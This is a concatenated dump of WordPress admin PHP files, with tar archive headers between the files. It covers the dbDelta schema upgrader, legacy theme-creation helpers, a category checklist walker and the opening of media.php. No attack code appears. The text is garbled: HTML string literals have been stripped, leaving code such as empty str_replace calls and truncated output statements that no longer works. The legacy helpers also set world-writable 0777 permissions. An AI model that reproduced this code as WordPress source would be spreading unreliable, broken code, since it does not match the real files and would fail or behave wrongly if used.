function dbDelta( $queries = '', $execute = true ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
global $wpdb;
if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) ) {
$queries = wp_get_db_schema( $queries );
}
// Separate individual queries into an array.
if ( ! is_array( $queries ) ) {
$queries = explode( ';', $queries );
$queries = array_filter( $queries );
}
/**
* Filters the dbDelta SQL queries.
*
* @since 3.3.0
*
* @param string[] $queries An array of dbDelta SQL queries.
*/
$queries = apply_filters( 'dbdelta_queries', $queries );
$cqueries = array(); // Creation queries.
$iqueries = array(); // Insertion queries.
$for_update = array();
// Create a tablename index for an array ($cqueries) of recognized query types.
foreach ( $queries as $qry ) {
if ( preg_match( '|CREATE TABLE ([^ ]*)|', $qry, $matches ) ) {
$cqueries[ trim( $matches[1], '`' ) ] = $qry;
$for_update[ $matches[1] ] = 'Created table ' . $matches[1];
continue;
}
if ( preg_match( '|CREATE DATABASE ([^ ]*)|', $qry, $matches ) ) {
array_unshift( $cqueries, $qry );
continue;
}
if ( preg_match( '|INSERT INTO ([^ ]*)|', $qry, $matches ) ) {
$iqueries[] = $qry;
continue;
}
if ( preg_match( '|UPDATE ([^ ]*)|', $qry, $matches ) ) {
$iqueries[] = $qry;
continue;
}
}
/**
* Filters the dbDelta SQL queries for creating tables and/or databases.
*
* Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
*
* @since 3.3.0
*
* @param string[] $cqueries An array of dbDelta create SQL queries.
*/
$cqueries = apply_filters( 'dbdelta_create_queries', $cqueries );
/**
* Filters the dbDelta SQL queries for inserting or updating.
*
* Queries filterable via this hook contain "INSERT INTO" or "UPDATE".
*
* @since 3.3.0
*
* @param string[] $iqueries An array of dbDelta insert or update SQL queries.
*/
$iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries );
$text_fields = array( 'tinytext', 'text', 'mediumtext', 'longtext' );
$blob_fields = array( 'tinyblob', 'blob', 'mediumblob', 'longblob' );
$int_fields = array( 'tinyint', 'smallint', 'mediumint', 'int', 'integer', 'bigint' );
$global_tables = $wpdb->tables( 'global' );
$db_version = $wpdb->db_version();
$db_server_info = $wpdb->db_server_info();
foreach ( $cqueries as $table => $qry ) {
// Upgrade global tables only for the main site. Don't upgrade at all if conditions are not optimal.
if ( in_array( $table, $global_tables, true ) && ! wp_should_upgrade_global_tables() ) {
unset( $cqueries[ $table ], $for_update[ $table ] );
continue;
}
// Fetch the table column structure from the database.
$suppress = $wpdb->suppress_errors();
$tablefields = $wpdb->get_results( "DESCRIBE {$table};" );
$wpdb->suppress_errors( $suppress );
if ( ! $tablefields ) {
continue;
}
// Clear the field and index arrays.
$cfields = array();
$indices = array();
$indices_without_subparts = array();
// Get all of the field names in the query from between the parentheses.
preg_match( '|\((.*)\)|ms', $qry, $match2 );
$qryline = trim( $match2[1] );
// Separate field lines into an array.
$flds = explode( "\n", $qryline );
// For every field line specified in the query.
foreach ( $flds as $fld ) {
$fld = trim( $fld, " \t\n\r\0\x0B," ); // Default trim characters, plus ','.
// Extract the field name.
preg_match( '|^([^ ]*)|', $fld, $fvals );
$fieldname = trim( $fvals[1], '`' );
$fieldname_lowercased = strtolower( $fieldname );
// Verify the found field name.
$validfield = true;
switch ( $fieldname_lowercased ) {
case '':
case 'primary':
case 'index':
case 'fulltext':
case 'unique':
case 'key':
case 'spatial':
$validfield = false;
/*
* Normalize the index definition.
*
* This is done so the definition can be compared against the result of a
* `SHOW INDEX FROM $table_name` query which returns the current table
* index information.
*/
// Extract type, name and columns from the definition.
preg_match(
'/^
(?P # 1) Type of the index.
PRIMARY\s+KEY|(?:UNIQUE|FULLTEXT|SPATIAL)\s+(?:KEY|INDEX)|KEY|INDEX
)
\s+ # Followed by at least one white space character.
(?: # Name of the index. Optional if type is PRIMARY KEY.
`? # Name can be escaped with a backtick.
(?P # 2) Name of the index.
(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+
)
`? # Name can be escaped with a backtick.
\s+ # Followed by at least one white space character.
)*
\( # Opening bracket for the columns.
(?P
.+? # 3) Column names, index prefixes, and orders.
)
\) # Closing bracket for the columns.
$/imx',
$fld,
$index_matches
);
// Uppercase the index type and normalize space characters.
$index_type = strtoupper( preg_replace( '/\s+/', ' ', trim( $index_matches['index_type'] ) ) );
// 'INDEX' is a synonym for 'KEY', standardize on 'KEY'.
$index_type = str_replace( 'INDEX', 'KEY', $index_type );
// Escape the index name with backticks. An index for a primary key has no name.
$index_name = ( 'PRIMARY KEY' === $index_type ) ? '' : '`' . strtolower( $index_matches['index_name'] ) . '`';
// Parse the columns. Multiple columns are separated by a comma.
$index_columns = array_map( 'trim', explode( ',', $index_matches['index_columns'] ) );
$index_columns_without_subparts = $index_columns;
// Normalize columns.
foreach ( $index_columns as $id => &$index_column ) {
// Extract column name and number of indexed characters (sub_part).
preg_match(
'/
`? # Name can be escaped with a backtick.
(?P # 1) Name of the column.
(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+
)
`? # Name can be escaped with a backtick.
(?: # Optional sub part.
\s* # Optional white space character between name and opening bracket.
\( # Opening bracket for the sub part.
\s* # Optional white space character after opening bracket.
(?P
\d+ # 2) Number of indexed characters.
)
\s* # Optional white space character before closing bracket.
\) # Closing bracket for the sub part.
)?
/x',
$index_column,
$index_column_matches
);
// Escape the column name with backticks.
$index_column = '`' . $index_column_matches['column_name'] . '`';
// We don't need to add the subpart to $index_columns_without_subparts
$index_columns_without_subparts[ $id ] = $index_column;
// Append the optional sup part with the number of indexed characters.
if ( isset( $index_column_matches['sub_part'] ) ) {
$index_column .= '(' . $index_column_matches['sub_part'] . ')';
}
}
// Build the normalized index definition and add it to the list of indices.
$indices[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns ) . ')';
$indices_without_subparts[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns_without_subparts ) . ')';
// Destroy no longer needed variables.
unset( $index_column, $index_column_matches, $index_matches, $index_type, $index_name, $index_columns, $index_columns_without_subparts );
break;
}
// If it's a valid field, add it to the field array.
if ( $validfield ) {
$cfields[ $fieldname_lowercased ] = $fld;
}
}
// For every field in the table.
foreach ( $tablefields as $tablefield ) {
$tablefield_field_lowercased = strtolower( $tablefield->Field );
$tablefield_type_lowercased = strtolower( $tablefield->Type );
$tablefield_type_without_parentheses = preg_replace(
'/'
. '(.+)' // Field type, e.g. `int`.
. '\(\d*\)' // Display width.
. '(.*)' // Optional attributes, e.g. `unsigned`.
. '/',
'$1$2',
$tablefield_type_lowercased
);
// Get the type without attributes, e.g. `int`.
$tablefield_type_base = strtok( $tablefield_type_without_parentheses, ' ' );
// If the table field exists in the field array...
if ( array_key_exists( $tablefield_field_lowercased, $cfields ) ) {
// Get the field type from the query.
preg_match( '|`?' . $tablefield->Field . '`? ([^ ]*( unsigned)?)|i', $cfields[ $tablefield_field_lowercased ], $matches );
$fieldtype = $matches[1];
$fieldtype_lowercased = strtolower( $fieldtype );
$fieldtype_without_parentheses = preg_replace(
'/'
. '(.+)' // Field type, e.g. `int`.
. '\(\d*\)' // Display width.
. '(.*)' // Optional attributes, e.g. `unsigned`.
. '/',
'$1$2',
$fieldtype_lowercased
);
// Get the type without attributes, e.g. `int`.
$fieldtype_base = strtok( $fieldtype_without_parentheses, ' ' );
// Is actual field type different from the field type in query?
if ( $tablefield->Type !== $fieldtype ) {
$do_change = true;
if ( in_array( $fieldtype_lowercased, $text_fields, true ) && in_array( $tablefield_type_lowercased, $text_fields, true ) ) {
if ( array_search( $fieldtype_lowercased, $text_fields, true ) < array_search( $tablefield_type_lowercased, $text_fields, true ) ) {
$do_change = false;
}
}
if ( in_array( $fieldtype_lowercased, $blob_fields, true ) && in_array( $tablefield_type_lowercased, $blob_fields, true ) ) {
if ( array_search( $fieldtype_lowercased, $blob_fields, true ) < array_search( $tablefield_type_lowercased, $blob_fields, true ) ) {
$do_change = false;
}
}
if ( in_array( $fieldtype_base, $int_fields, true ) && in_array( $tablefield_type_base, $int_fields, true )
&& $fieldtype_without_parentheses === $tablefield_type_without_parentheses
) {
/*
* MySQL 8.0.17 or later does not support display width for integer data types,
* so if display width is the only difference, it can be safely ignored.
* Note: This is specific to MySQL and does not affect MariaDB.
*/
if ( version_compare( $db_version, '8.0.17', '>=' )
&& ! str_contains( $db_server_info, 'MariaDB' )
) {
$do_change = false;
}
}
if ( $do_change ) {
// Add a query to change the column type.
$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN `{$tablefield->Field}` " . $cfields[ $tablefield_field_lowercased ];
$for_update[ $table . '.' . $tablefield->Field ] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
}
}
// Get the default value from the array.
if ( preg_match( "| DEFAULT '(.*?)'|i", $cfields[ $tablefield_field_lowercased ], $matches ) ) {
$default_value = $matches[1];
if ( $tablefield->Default !== $default_value ) {
// Add a query to change the column's default value
$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN `{$tablefield->Field}` SET DEFAULT '{$default_value}'";
$for_update[ $table . '.' . $tablefield->Field ] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
}
}
// Remove the field from the array (so it's not added).
unset( $cfields[ $tablefield_field_lowercased ] );
} else {
// This field exists in the table, but not in the creation queries?
}
}
// For every remaining field specified for the table.
foreach ( $cfields as $fieldname => $fielddef ) {
// Push a query line into $cqueries that adds the field to that table.
$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";
$for_update[ $table . '.' . $fieldname ] = 'Added column ' . $table . '.' . $fieldname;
}
// Index stuff goes here. Fetch the table index structure from the database.
$tableindices = $wpdb->get_results( "SHOW INDEX FROM {$table};" );
if ( $tableindices ) {
// Clear the index array.
$index_ary = array();
// For every index in the table.
foreach ( $tableindices as $tableindex ) {
$keyname = strtolower( $tableindex->Key_name );
// Add the index to the index data array.
$index_ary[ $keyname ]['columns'][] = array(
'fieldname' => $tableindex->Column_name,
'subpart' => $tableindex->Sub_part,
);
$index_ary[ $keyname ]['unique'] = ( '0' === $tableindex->Non_unique ) ? true : false;
$index_ary[ $keyname ]['index_type'] = $tableindex->Index_type;
}
// For each actual index in the index array.
foreach ( $index_ary as $index_name => $index_data ) {
// Build a create string to compare to the query.
$index_string = '';
if ( 'primary' === $index_name ) {
$index_string .= 'PRIMARY ';
} elseif ( $index_data['unique'] ) {
$index_string .= 'UNIQUE ';
}
if ( 'FULLTEXT' === strtoupper( $index_data['index_type'] ) ) {
$index_string .= 'FULLTEXT ';
}
if ( 'SPATIAL' === strtoupper( $index_data['index_type'] ) ) {
$index_string .= 'SPATIAL ';
}
$index_string .= 'KEY ';
if ( 'primary' !== $index_name ) {
$index_string .= '`' . $index_name . '`';
}
$index_columns = '';
// For each column in the index.
foreach ( $index_data['columns'] as $column_data ) {
if ( '' !== $index_columns ) {
$index_columns .= ',';
}
// Add the field to the column list string.
$index_columns .= '`' . $column_data['fieldname'] . '`';
}
// Add the column list to the index create string.
$index_string .= " ($index_columns)";
// Check if the index definition exists, ignoring subparts.
$aindex = array_search( $index_string, $indices_without_subparts, true );
if ( false !== $aindex ) {
// If the index already exists (even with different subparts), we don't need to create it.
unset( $indices_without_subparts[ $aindex ] );
unset( $indices[ $aindex ] );
}
}
}
// For every remaining index specified for the table.
foreach ( (array) $indices as $index ) {
// Push a query line into $cqueries that adds the index to that table.
$cqueries[] = "ALTER TABLE {$table} ADD $index";
$for_update[] = 'Added index ' . $table . ' ' . $index;
}
// Remove the original table creation query from processing.
unset( $cqueries[ $table ], $for_update[ $table ] );
}
$allqueries = array_merge( $cqueries, $iqueries );
if ( $execute ) {
foreach ( $allqueries as $query ) {
$wpdb->query( $query );
}
}
return $for_update;
}
/**
* Updates the database tables to a new schema.
*
* By default, updates all the tables to use the latest defined schema, but can also
* be used to update a specific set of tables in wp_get_db_schema().
*
* @since 1.5.0
*
* @uses dbDelta
*
* @param string $tables Optional. Which set of tables to update. Default is 'all'.
*/
function make_db_current( $tables = 'all' ) {
$alterations = dbDelta( $tables );
echo "\n";
foreach ( $alterations as $alteration ) {
echo "
$alteration
\n";
}
echo "\n";
}
/**
* Updates the database tables to a new schema, but without displaying results.
*
* By default, updates all the tables to use the latest defined schema, but can
* also be used to update a specific set of tables in wp_get_db_schema().
*
* @since 1.5.0
*
* @see make_db_current()
*
* @param string $tables Optional. Which set of tables to update. Default is 'all'.
*/
function make_db_current_silent( $tables = 'all' ) {
dbDelta( $tables );
}
/**
* Creates a site theme from an existing theme.
*
* {@internal Missing Long Description}}
*
* @since 1.5.0
*
* @param string $theme_name The name of the theme.
* @param string $template The directory name of the theme.
* @return bool
*/
function make_site_theme_from_oldschool( $theme_name, $template ) {
$home_path = get_home_path();
$site_dir = WP_CONTENT_DIR . "/themes/$template";
$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;
if ( ! file_exists( "$home_path/index.php" ) ) {
return false;
}
/*
* Copy files from the old locations to the site theme.
* TODO: This does not copy arbitrary include dependencies. Only the standard WP files are copied.
*/
$files = array(
'index.php' => 'index.php',
'wp-layout.css' => 'style.css',
'wp-comments.php' => 'comments.php',
'wp-comments-popup.php' => 'comments-popup.php',
);
foreach ( $files as $oldfile => $newfile ) {
if ( 'index.php' === $oldfile ) {
$oldpath = $home_path;
} else {
$oldpath = ABSPATH;
}
// Check to make sure it's not a new index.
if ( 'index.php' === $oldfile ) {
$index = implode( '', file( "$oldpath/$oldfile" ) );
if ( str_contains( $index, 'WP_USE_THEMES' ) ) {
if ( ! copy( "$default_dir/$oldfile", "$site_dir/$newfile" ) ) {
return false;
}
// Don't copy anything.
continue;
}
}
if ( ! copy( "$oldpath/$oldfile", "$site_dir/$newfile" ) ) {
return false;
}
chmod( "$site_dir/$newfile", 0777 );
// Update the blog header include in each file.
$lines = explode( "\n", implode( '', file( "$site_dir/$newfile" ) ) );
if ( $lines ) {
$f = fopen( "$site_dir/$newfile", 'w' );
foreach ( $lines as $line ) {
if ( preg_match( '/require.*wp-blog-header/', $line ) ) {
$line = '//' . $line;
}
// Update stylesheet references.
$line = str_replace(
"/wp-layout.css",
"",
$line
);
// Update comments template inclusion.
$line = str_replace(
"",
'',
$line
);
fwrite( $f, "{$line}\n" );
}
fclose( $f );
}
}
// Add a theme header.
$header = "/*\n" .
"Theme Name: $theme_name\n" .
'Theme URI: ' . __get_option( 'siteurl' ) . "\n" .
"Description: A theme automatically created by the update.\n" .
"Version: 1.0\n" .
"Author: Moi\n" .
"*/\n";
$stylelines = file_get_contents( "$site_dir/style.css" );
if ( $stylelines ) {
$f = fopen( "$site_dir/style.css", 'w' );
fwrite( $f, $header );
fwrite( $f, $stylelines );
fclose( $f );
}
return true;
}
/**
* Creates a site theme from the default theme.
*
* {@internal Missing Long Description}}
*
* @since 1.5.0
*
* @param string $theme_name The name of the theme.
* @param string $template The directory name of the theme.
* @return void|false
*/
function make_site_theme_from_default( $theme_name, $template ) {
$site_dir = WP_CONTENT_DIR . "/themes/$template";
$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;
/*
* Copy files from the default theme to the site theme.
* $files = array( 'index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css' );
*/
$theme_dir = @opendir( $default_dir );
if ( $theme_dir ) {
while ( ( $theme_file = readdir( $theme_dir ) ) !== false ) {
if ( is_dir( "$default_dir/$theme_file" ) ) {
continue;
}
if ( ! copy( "$default_dir/$theme_file", "$site_dir/$theme_file" ) ) {
return;
}
chmod( "$site_dir/$theme_file", 0777 );
}
closedir( $theme_dir );
}
// Rewrite the theme header.
$stylelines = explode( "\n", implode( '', file( "$site_dir/style.css" ) ) );
if ( $stylelines ) {
$f = fopen( "$site_dir/style.css", 'w' );
$headers = array(
'Theme Name:' => $theme_name,
'Theme URI:' => __get_option( 'url' ),
'Description:' => 'Your theme.',
'Version:' => '1',
'Author:' => 'You',
);
foreach ( $stylelines as $line ) {
foreach ( $headers as $header => $value ) {
if ( str_contains( $line, $header ) ) {
$line = $header . ' ' . $value;
break;
}
}
fwrite( $f, $line . "\n" );
}
fclose( $f );
}
// Copy the images.
umask( 0 );
if ( ! mkdir( "$site_dir/images", 0777 ) ) {
return false;
}
$images_dir = @opendir( "$default_dir/images" );
if ( $images_dir ) {
while ( ( $image = readdir( $images_dir ) ) !== false ) {
if ( is_dir( "$default_dir/images/$image" ) ) {
continue;
}
if ( ! copy( "$default_dir/images/$image", "$site_dir/images/$image" ) ) {
return;
}
chmod( "$site_dir/images/$image", 0777 );
}
closedir( $images_dir );
}
}
/**
* Creates a site theme.
*
* {@internal Missing Long Description}}
*
* @since 1.5.0
*
* @return string|false
*/
function make_site_theme() {
// Name the theme after the blog.
$theme_name = __get_option( 'blogname' );
$template = sanitize_title( $theme_name );
$site_dir = WP_CONTENT_DIR . "/themes/$template";
// If the theme already exists, nothing to do.
if ( is_dir( $site_dir ) ) {
return false;
}
// We must be able to write to the themes dir.
if ( ! is_writable( WP_CONTENT_DIR . '/themes' ) ) {
return false;
}
umask( 0 );
if ( ! mkdir( $site_dir, 0777 ) ) {
return false;
}
if ( file_exists( ABSPATH . 'wp-layout.css' ) ) {
if ( ! make_site_theme_from_oldschool( $theme_name, $template ) ) {
// TODO: rm -rf the site theme directory.
return false;
}
} else {
if ( ! make_site_theme_from_default( $theme_name, $template ) ) {
// TODO: rm -rf the site theme directory.
return false;
}
}
// Make the new site theme active.
$current_template = __get_option( 'template' );
if ( WP_DEFAULT_THEME === $current_template ) {
update_option( 'template', $template );
update_option( 'stylesheet', $template );
}
return $template;
}
/**
* Translate user level to user role name.
*
* @since 2.0.0
*
* @param int $level User level.
* @return string User role name.
*/
function translate_level_to_role( $level ) {
switch ( $level ) {
case 10:
case 9:
case 8:
return 'administrator';
case 7:
case 6:
case 5:
return 'editor';
case 4:
case 3:
case 2:
return 'author';
case 1:
return 'contributor';
case 0:
default:
return 'subscriber';
}
}
/**
* Checks the version of the installed MySQL binary.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_check_mysql_version() {
global $wpdb;
$result = $wpdb->check_database_version();
if ( is_wp_error( $result ) ) {
wp_die( $result );
}
}
/**
* Disables the Automattic widgets plugin, which was merged into core.
*
* @since 2.2.0
*/
function maybe_disable_automattic_widgets() {
$plugins = __get_option( 'active_plugins' );
foreach ( (array) $plugins as $plugin ) {
if ( 'widgets.php' === basename( $plugin ) ) {
array_splice( $plugins, array_search( $plugin, $plugins, true ), 1 );
update_option( 'active_plugins', $plugins );
break;
}
}
}
/**
* Disables the Link Manager on upgrade if, at the time of upgrade, no links exist in the DB.
*
* @since 3.5.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function maybe_disable_link_manager() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
update_option( 'link_manager_enabled', 0 );
}
}
/**
* Runs before the schema is upgraded.
*
* @since 2.9.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function pre_schema_upgrade() {
global $wp_current_db_version, $wpdb;
// Upgrade versions prior to 2.9.
if ( $wp_current_db_version < 11557 ) {
// Delete duplicate options. Keep the option with the highest option_id.
$wpdb->query( "DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id" );
// Drop the old primary key and add the new.
$wpdb->query( "ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)" );
// Drop the old option_name index. dbDelta() doesn't do the drop.
$wpdb->query( "ALTER TABLE $wpdb->options DROP INDEX option_name" );
}
// Multisite schema upgrades.
if ( $wp_current_db_version < 25448 && is_multisite() && wp_should_upgrade_global_tables() ) {
// Upgrade versions prior to 3.7.
if ( $wp_current_db_version < 25179 ) {
// New primary key for signups.
$wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" );
$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" );
}
if ( $wp_current_db_version < 25448 ) {
// Convert archived from enum to tinyint.
$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" );
$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" );
}
}
// Upgrade versions prior to 4.2.
if ( $wp_current_db_version < 31351 ) {
if ( ! is_multisite() && wp_should_upgrade_global_tables() ) {
$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
}
$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX slug, ADD INDEX slug(slug(191))" );
$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX name, ADD INDEX name(name(191))" );
$wpdb->query( "ALTER TABLE $wpdb->commentmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
$wpdb->query( "ALTER TABLE $wpdb->postmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
$wpdb->query( "ALTER TABLE $wpdb->posts DROP INDEX post_name, ADD INDEX post_name(post_name(191))" );
}
// Upgrade versions prior to 4.4.
if ( $wp_current_db_version < 34978 ) {
// If compatible termmeta table is found, use it, but enforce a proper index and update collation.
if ( $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->termmeta}'" ) && $wpdb->get_results( "SHOW INDEX FROM {$wpdb->termmeta} WHERE Column_name = 'meta_key'" ) ) {
$wpdb->query( "ALTER TABLE $wpdb->termmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
maybe_convert_table_to_utf8mb4( $wpdb->termmeta );
}
}
}
/**
* Determine if global tables should be upgraded.
*
* This function performs a series of checks to ensure the environment allows
* for the safe upgrading of global WordPress database tables. It is necessary
* because global tables will commonly grow to millions of rows on large
* installations, and the ability to control their upgrade routines can be
* critical to the operation of large networks.
*
* In a future iteration, this function may use `wp_is_large_network()` to more-
* intelligently prevent global table upgrades. Until then, we make sure
* WordPress is on the main site of the main network, to avoid running queries
* more than once in multi-site or multi-network environments.
*
* @since 4.3.0
*
* @return bool Whether to run the upgrade routines on global tables.
*/
function wp_should_upgrade_global_tables() {
// Return false early if explicitly not upgrading.
if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
return false;
}
// Assume global tables should be upgraded.
$should_upgrade = true;
// Set to false if not on main network (does not matter if not multi-network).
if ( ! is_main_network() ) {
$should_upgrade = false;
}
// Set to false if not on main site of current network (does not matter if not multi-site).
if ( ! is_main_site() ) {
$should_upgrade = false;
}
/**
* Filters if upgrade routines should be run on global tables.
*
* @since 4.3.0
*
* @param bool $should_upgrade Whether to run the upgrade routines on global tables.
*/
return apply_filters( 'wp_should_upgrade_global_tables', $should_upgrade );
}
class-walker-category-checklist.php 0000644 00000011743 14757313107 0013445 0 ustar 00 'parent',
'id' => 'term_id',
); // TODO: Decouple this.
/**
* Starts the list before the elements are added.
*
* @see Walker:start_lvl()
*
* @since 2.5.1
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of category. Used for tab indentation.
* @param array $args An array of arguments. See {@see wp_terms_checklist()}.
*/
public function start_lvl( &$output, $depth = 0, $args = array() ) {
$indent = str_repeat( "\t", $depth );
$output .= "$indent
\n";
}
/**
* Ends the list of after the elements are added.
*
* @see Walker::end_lvl()
*
* @since 2.5.1
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of category. Used for tab indentation.
* @param array $args An array of arguments. See {@see wp_terms_checklist()}.
*/
public function end_lvl( &$output, $depth = 0, $args = array() ) {
$indent = str_repeat( "\t", $depth );
$output .= "$indent
\n";
}
/**
* Start the element output.
*
* @see Walker::start_el()
*
* @since 2.5.1
* @since 5.9.0 Renamed `$category` to `$data_object` and `$id` to `$current_object_id`
* to match parent class for PHP 8 named parameter support.
*
* @param string $output Used to append additional content (passed by reference).
* @param WP_Term $data_object The current term object.
* @param int $depth Depth of the term in reference to parents. Default 0.
* @param array $args An array of arguments. See {@see wp_terms_checklist()}.
* @param int $current_object_id Optional. ID of the current term. Default 0.
*/
public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
// Restores the more descriptive, specific name for use within this method.
$category = $data_object;
if ( empty( $args['taxonomy'] ) ) {
$taxonomy = 'category';
} else {
$taxonomy = $args['taxonomy'];
}
if ( 'category' === $taxonomy ) {
$name = 'post_category';
} else {
$name = 'tax_input[' . $taxonomy . ']';
}
$args['popular_cats'] = ! empty( $args['popular_cats'] ) ? array_map( 'intval', $args['popular_cats'] ) : array();
$class = in_array( $category->term_id, $args['popular_cats'], true ) ? ' class="popular-category"' : '';
$args['selected_cats'] = ! empty( $args['selected_cats'] ) ? array_map( 'intval', $args['selected_cats'] ) : array();
if ( ! empty( $args['list_only'] ) ) {
$aria_checked = 'false';
$inner_class = 'category';
if ( in_array( $category->term_id, $args['selected_cats'], true ) ) {
$inner_class .= ' selected';
$aria_checked = 'true';
}
$output .= "\n" . '
' .
'
' .
/** This filter is documented in wp-includes/category-template.php */
esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '
" .
'';
}
}
/**
* Ends the element output, if needed.
*
* @see Walker::end_el()
*
* @since 2.5.1
* @since 5.9.0 Renamed `$category` to `$data_object` to match parent class for PHP 8 named parameter support.
*
* @param string $output Used to append additional content (passed by reference).
* @param WP_Term $data_object The current term object.
* @param int $depth Depth of the term in reference to parents. Default 0.
* @param array $args An array of arguments. See {@see wp_terms_checklist()}.
*/
public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
$output .= "
\n";
}
}
media.php 0000644 00000350126 14757313107 0006353 0 ustar 00 __( 'From Computer' ), // Handler action suffix => tab text.
'type_url' => __( 'From URL' ),
'gallery' => __( 'Gallery' ),
'library' => __( 'Media Library' ),
);
/**
* Filters the available tabs in the legacy (pre-3.5.0) media popup.
*
* @since 2.5.0
*
* @param string[] $_default_tabs An array of media tabs.
*/
return apply_filters( 'media_upload_tabs', $_default_tabs );
}
/**
* Adds the gallery tab back to the tabs array if post has image attachments.
*
* @since 2.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $tabs
* @return array $tabs with gallery if post has image attachment
*/
function update_gallery_tab( $tabs ) {
global $wpdb;
if ( ! isset( $_REQUEST['post_id'] ) ) {
unset( $tabs['gallery'] );
return $tabs;
}
$post_id = (int) $_REQUEST['post_id'];
if ( $post_id ) {
$attachments = (int) $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) );
}
if ( empty( $attachments ) ) {
unset( $tabs['gallery'] );
return $tabs;
}
/* translators: %s: Number of attachments. */
$tabs['gallery'] = sprintf( __( 'Gallery (%s)' ), "$attachments" );
return $tabs;
}
/**
* Outputs the legacy media upload tabs UI.
*
* @since 2.5.0
*
* @global string $redir_tab
*/
function the_media_upload_tabs() {
global $redir_tab;
$tabs = media_upload_tabs();
$default = 'type';
if ( ! empty( $tabs ) ) {
echo "
\n";
}
}
/**
* Retrieves the image HTML to send to the editor.
*
* @since 2.5.0
*
* @param int $id Image attachment ID.
* @param string $caption Image caption.
* @param string $title Image title attribute.
* @param string $align Image CSS alignment property.
* @param string $url Optional. Image src URL. Default empty.
* @param bool|string $rel Optional. Value for rel attribute or whether to add a default value. Default false.
* @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of
* width and height values in pixels (in that order). Default 'medium'.
* @param string $alt Optional. Image alt attribute. Default empty.
* @return string The HTML output to insert into the editor.
*/
function get_image_send_to_editor( $id, $caption, $title, $align, $url = '', $rel = false, $size = 'medium', $alt = '' ) {
$html = get_image_tag( $id, $alt, '', $align, $size );
if ( $rel ) {
if ( is_string( $rel ) ) {
$rel = ' rel="' . esc_attr( $rel ) . '"';
} else {
$rel = ' rel="attachment wp-att-' . (int) $id . '"';
}
} else {
$rel = '';
}
if ( $url ) {
$html = '' . $html . '';
}
/**
* Filters the image HTML markup to send to the editor when inserting an image.
*
* @since 2.5.0
* @since 5.6.0 The `$rel` parameter was added.
*
* @param string $html The image HTML markup to send.
* @param int $id The attachment ID.
* @param string $caption The image caption.
* @param string $title The image title.
* @param string $align The image alignment.
* @param string $url The image source URL.
* @param string|int[] $size Requested image size. Can be any registered image size name, or
* an array of width and height values in pixels (in that order).
* @param string $alt The image alternative, or alt, text.
* @param string $rel The image rel attribute.
*/
$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt, $rel );
return $html;
}
/**
* Adds image shortcode with caption to editor.
*
* @since 2.6.0
*
* @param string $html The image HTML markup to send.
* @param int $id Image attachment ID.
* @param string $caption Image caption.
* @param string $title Image title attribute (not used).
* @param string $align Image CSS alignment property.
* @param string $url Image source URL (not used).
* @param string $size Image size (not used).
* @param string $alt Image `alt` attribute (not used).
* @return string The image HTML markup with caption shortcode.
*/
function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {
/**
* Filters the caption text.
*
* Note: If the caption text is empty, the caption shortcode will not be appended
* to the image HTML when inserted into the editor.
*
* Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
* Filters from being evaluated at the end of image_add_caption().
*
* @since 4.1.0
*
* @param string $caption The original caption text.
* @param int $id The attachment ID.
*/
$caption = apply_filters( 'image_add_caption_text', $caption, $id );
/**
